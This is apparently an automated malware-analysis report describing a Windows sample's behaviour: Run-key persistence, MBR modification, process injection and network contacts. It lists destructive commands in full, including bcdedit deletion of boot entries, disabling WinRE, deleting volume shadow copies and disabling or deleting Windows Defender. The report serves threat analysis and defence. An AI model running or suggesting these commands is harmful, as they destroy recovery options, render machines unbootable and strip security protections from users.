Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WindowsSecurity' = '<SYSTEM32>\WinSec.exe'
Modifies master boot record (MBR).
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
blocks the following features:
- Windows Recovery Environment (WinRE)
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im MsMpEng.exe
Injects code into
the following system processes:
- <SYSTEM32>\winlogon.exe
- <SYSTEM32>\svchost.exe
- %WINDIR%\explorer.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Modifies file system
Creates the following files
- <SYSTEM32>\winsec.exe
Sets the 'hidden' attribute to the following files
- <SYSTEM32>\winsec.exe
Modifies the following files
- %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157
Network activity
Connects to
- 'ap#.msn.com':443
- '23.##5.2.149':80
- 'oneocsp.microsoft.com':80
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?91##############
- http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBR0TBEVYklX7A9yLoLD9hqmCWDxFgQU3pGGSLehMVkx8UtfB6nciHnaqHYCEzMAAAAMSWShb0QgOyIAAAAAAAw%3D
Other
- 'ap#.msn.com':443
UDP
- DNS ASK ap#.msn.com
- DNS ASK oneocsp.microsoft.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Executes the following
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {default} /f
- '<SYSTEM32>\bcdedit.exe' /delete {default} /f
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {bootmgr} /f
- '<SYSTEM32>\bcdedit.exe' /delete {bootmgr} /f
- '<SYSTEM32>\cmd.exe' /c bcdedit /delete {memdiag} /f
- '<SYSTEM32>\bcdedit.exe' /delete {memdiag} /f
- '<SYSTEM32>\cmd.exe' /c reagentc /disable
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet
- '<SYSTEM32>\cmd.exe' /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im MsMpEng.exe
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\cmd.exe' /c sc delete WinDefend
- '<SYSTEM32>\sc.exe' delete WinDefend
- '%WINDIR%\explorer.exe'
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
